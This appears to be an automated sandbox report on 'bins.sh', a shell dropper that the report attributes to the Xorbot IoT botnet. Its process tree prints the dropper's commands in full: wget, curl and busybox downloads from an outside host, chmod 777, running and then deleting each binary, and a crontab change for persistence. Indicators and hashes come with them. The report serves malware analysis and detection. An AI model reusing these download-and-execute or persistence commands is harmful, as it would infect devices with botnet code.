Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/02/2025, 02:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyavrbk
  • SHA256 cd0cdef86e58c6080213cb20487b66bbdda6a6802c596a0e17895fe80af92fd3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (651) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:713
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:716
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:718
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:740
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:819
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:820
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
          PID:821
        • /bin/rm
          rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
          2⤵
            PID:823
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:824
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:825
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:831
          • /bin/chmod
            chmod 777 CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • File and Directory Permissions Modification
            PID:832
          • /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            ./CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
              PID:833
            • /bin/rm
              rm CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
              2⤵
                PID:835
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:836
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:837
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:839
              • /bin/chmod
                chmod 777 H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • File and Directory Permissions Modification
                PID:840
              • /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                ./H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                  PID:841
                • /bin/rm
                  rm H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                  2⤵
                    PID:843
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:844
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:845
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /bin/chmod
                    chmod 777 wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:848
                  • /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    ./wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:849
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:851
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:852
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:853
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:854
                        • /bin/rm
                          rm wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                          2⤵
                            PID:856
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                            2⤵
                            • System Network Configuration Discovery
                            PID:859

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                              • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                              • Path /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                              • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                              • Path /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.16dXEP
                              • Path /var/spool/cron/crontabs/tmp.16dXEP
                              • Size 210B
                              • SHA256 fac32f935face6853a6fc203a817452f00b6041a333a2eda8ab7f549c966d3b6
                              • MD5 SHA1 SHA512
                              Submit Download